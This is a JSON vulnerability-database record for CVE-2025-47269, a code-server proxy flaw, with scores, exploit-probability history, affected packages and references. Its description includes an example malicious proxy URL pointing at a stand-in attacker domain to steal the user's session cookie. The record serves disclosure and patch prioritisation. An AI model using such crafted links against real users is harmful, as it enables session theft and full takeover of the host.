{"schemaVersion":4,"id":"CVE-2025-47269","aliases":["CGA-8q9h-v3xj-9748","CGA-9rpm-296w-vw5w","CGA-mfpx-m64g-962r","CGA-vvw7-9968-6v4g","GHSA-p483-wpfp-42cj"],"status":"published","duplicateOf":null,"title":"code-server session cookie can be extracted by having user visit specially crafted proxy URL","description":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","dates":{"published":"2025-05-09T20:59:01.510Z","modified":"2025-05-10T01:45:13.443Z","reserved":null,"kevAdded":[],"kevDue":[]},"cvss":{"headline":{"score":8.3,"severity":"high","version":"3.1","versionLabel":"v3.1","source":"CVE.org","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","computed":false,"selection":"backend-summary"},"metrics":[{"version":"3.1","versionLabel":"v3.1","source":"CVE.org","score":8.3,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","exploitability":null,"impact":null,"computed":false},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Wolfi","score":8.3,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","exploitability":7.2,"impact":9.2,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Npm","score":8.3,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","exploitability":7.2,"impact":9.2,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Chainguard","score":8.3,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","exploitability":7.2,"impact":9.2,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"NVD","score":8.3,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","exploitability":null,"impact":null,"computed":false}]},"epss":{"probability":0.56284,"percentile":0.99073,"severity":"critical","asOf":"2026-12-05T00:00:00.000Z","change":{"pp":0,"baselineDate":"2026-11-05T00:00:00.000Z","baselineScore":0.56284},"history":[{"date":"2026-09-14T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-15T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-16T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-17T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-18T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-19T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-20T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-21T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-22T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-23T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-24T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-25T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-26T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-27T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-28T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-29T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-09-30T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-10-01T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-10-02T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-10-03T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-10-04T00:00:00.000Z","score":0.42687,"percentile":null},{"date":"2026-10-05T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-06T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-07T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-08T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-09T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-10T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-11T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-12T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-13T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-14T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-15T00:00:00.000Z","score":0.42859,"percentile":null},{"date":"2026-10-16T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-17T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-18T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-19T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-20T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-21T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-22T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-23T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-24T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-25T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-26T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-27T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-28T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-29T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-30T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-10-31T00:00:00.000Z","score":0.4454,"percentile":null},{"date":"2026-11-01T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-02T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-03T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-04T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-05T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-06T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-07T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-08T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-09T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-10T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-11T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-12T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-13T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-14T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-15T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-16T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-17T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-18T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-19T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-20T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-21T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-22T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-23T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-24T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-25T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-26T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-27T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-28T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-29T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-30T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-12-01T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-02T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-03T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-04T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-05T00:00:00.000Z","score":0.56284,"percentile":0.99073}],"last30":[{"date":"2026-11-05T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-06T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-07T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-08T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-09T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-10T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-11T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-12T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-13T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-14T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-15T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-16T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-17T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-18T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-19T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-20T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-21T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-22T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-23T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-24T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-11-25T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-26T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-27T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-28T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-29T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-11-30T00:00:00.000Z","score":0.01003,"percentile":null},{"date":"2026-12-01T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-02T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-03T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-04T00:00:00.000Z","score":0.56284,"percentile":null},{"date":"2026-12-05T00:00:00.000Z","score":0.56284,"percentile":0.99073}]},"kev":{"state":"not-listed","entries":[],"listedCount":0,"totalCatalogs":3,"catalogs":[{"source":"cisa","label":"CISA","listed":false,"entry":null},{"source":"enisa","label":"ENISA","listed":false,"entry":null},{"source":"circl","label":"CIRCL","listed":false,"entry":null}]},"ransomware":{"state":"none-recorded","sources":[]},"exploits":[],"exploitCount":0,"weaknesses":[{"id":"CWE-441","name":"Unintended Proxy or Intermediary","description":"The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere.","type":"weakness","status":"Draft","abstraction":"Class","likelihoodOfExploit":null,"url":"https://cwe.mitre.org/data/definitions/441.html"}],"affected":[{"vendor":"chainguard","product":"code-server","name":"code-server","label":"code-server","ecosystem":"Chainguard","cpePart":null,"purl":"pkg:apk/chainguard/code-server","purlType":"apk","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null,"bounds":{"kind":"all"}}],"versionsText":"All versions (No fix recorded)","eol":null,"hubHref":null},{"vendor":"chainguard","product":"code-server-compat","name":"code-server-compat","label":"code-server-compat","ecosystem":"Chainguard","cpePart":null,"purl":"pkg:apk/chainguard/code-server-compat","purlType":"apk","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null,"bounds":{"kind":"all"}}],"versionsText":"All versions (No fix recorded)","eol":null,"hubHref":null},{"vendor":"wolfi","product":"code-server","name":"code-server","label":"code-server","ecosystem":"Wolfi","cpePart":null,"purl":"pkg:apk/wolfi/code-server","purlType":"apk","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null,"bounds":{"kind":"all"}}],"versionsText":"All versions (No fix recorded)","eol":null,"hubHref":null},{"vendor":"wolfi","product":"code-server-compat","name":"code-server-compat","label":"code-server-compat","ecosystem":"Wolfi","cpePart":null,"purl":"pkg:apk/wolfi/code-server-compat","purlType":"apk","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null,"bounds":{"kind":"all"}}],"versionsText":"All versions (No fix recorded)","eol":null,"hubHref":null},{"vendor":"coder","product":"code-server","name":"code-server","label":"code-server","ecosystem":null,"cpePart":"a","purl":null,"purlType":null,"versions":[{"text":"< 4.99.4","noFixRecorded":false,"fixedIn":null,"bounds":{"kind":"range","start":null,"startInclusive":true,"end":"4.99.4","endInclusive":false}}],"versionsText":"< 4.99.4","eol":null,"hubHref":"/vendor/coder/code-server"},{"vendor":"Npm","product":"code-server","name":"code-server","label":"code-server","ecosystem":"Npm","cpePart":null,"purl":"pkg:npm/code-server","purlType":"npm","versions":[{"text":"< 4.99.4","noFixRecorded":false,"fixedIn":null,"bounds":{"kind":"range","start":null,"startInclusive":true,"end":"4.99.4","endInclusive":false}}],"versionsText":"< 4.99.4","eol":null,"hubHref":null}],"affectedCount":6,"eol":{"hasEol":false,"count":0},"references":[{"url":"https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","label":"github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","hostname":"github.com","tags":["X Refsource CONFIRM","Advisory","WEB"]},{"url":"https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","label":"github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","hostname":"github.com","tags":["X Refsource MISC","FIX","WEB"]},{"url":"https://github.com/coder/code-server/releases/tag/v4.99.4","label":"github.com/coder/code-server/releases/tag/v4.99.4","hostname":"github.com","tags":["X Refsource MISC","WEB"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47269.json","label":"github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47269.json","hostname":"github.com","tags":["Advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47269","label":"nvd.nist.gov/vuln/detail/CVE-2025-47269","hostname":"nvd.nist.gov","tags":["Advisory"]},{"url":"https://github.com/coder/code-server","label":"github.com/coder/code-server","hostname":"github.com","tags":["PACKAGE"]}],"lineage":{"upstream":[],"downstream":[],"duplicates":[],"related":["CGA-V44J-M453-4WH9"]},"timeline":[{"kind":"published","date":"2025-05-09T20:59:01.510Z","label":"Published","detail":"Vulnerability first disclosed.","source":null},{"kind":"modified","date":"2025-05-10T01:45:13.443Z","label":"Last modified","detail":"Vulnerability information updated.","source":null}],"priority":{"label":"routine","tag":null,"reason":"Not severe (CVSS 8.3, network access); no exploitation reported by the 5 checked sources","nextStep":"Fix in the normal cadence","rank":[0,0,0,0,56,83],"checkedSources":["cisa","enisa","circl","shadowserver","cisa-adp"],"evidence":[{"type":"epss","source":"FIRST","date":"2026-12-05T00:00:00.000Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"value":0.56284,"stale":false,"promoted":null},{"type":"cvss","source":"cve.org","date":"2025-05-10T01:45:13.443Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1","headline":true},{"type":"cvss","source":"osv_wolfi","date":"2025-05-10T01:45:13.443Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1"},{"type":"cvss","source":"osv_npm","date":"2025-05-10T01:45:13.443Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1"},{"type":"cvss","source":"osv_chainguard","date":"2025-05-10T01:45:13.443Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1"},{"type":"cvss","source":"nvd","date":"2025-05-10T01:45:13.443Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1"},{"type":"adp","source":"cisa-adp","date":"2025-05-10T01:44:34.818Z","status":"valid","statusDate":null,"statusSource":null,"disputes":[],"exploitation":"none"}],"epss":{"value":0.56284,"date":"2026-12-05T00:00:00.000Z","stale":false,"promoted":null},"sources":[{"id":"cisa","lastSuccessfulSync":"2026-12-05T14:05:26.172Z","state":"fresh"},{"id":"enisa","lastSuccessfulSync":"2026-12-05T14:05:26.762Z","state":"fresh"},{"id":"circl","lastSuccessfulSync":"2026-12-05T12:01:28.919Z","state":"stale"},{"id":"shadowserver","lastSuccessfulSync":null,"state":"unavailable"},{"id":"cisa-adp","lastSuccessfulSync":"2026-12-05T14:01:06.338Z","state":"fresh"},{"id":"epss","lastSuccessfulSync":"2026-12-05T14:05:24.254Z","state":"fresh"},{"id":"osv","lastSuccessfulSync":"2026-12-05T14:03:52.423Z","state":"fresh"}],"feedEvent":null},"meta":{"dataAsOf":"2026-12-05T14:48:49.406Z","stale":false,"partial":false}}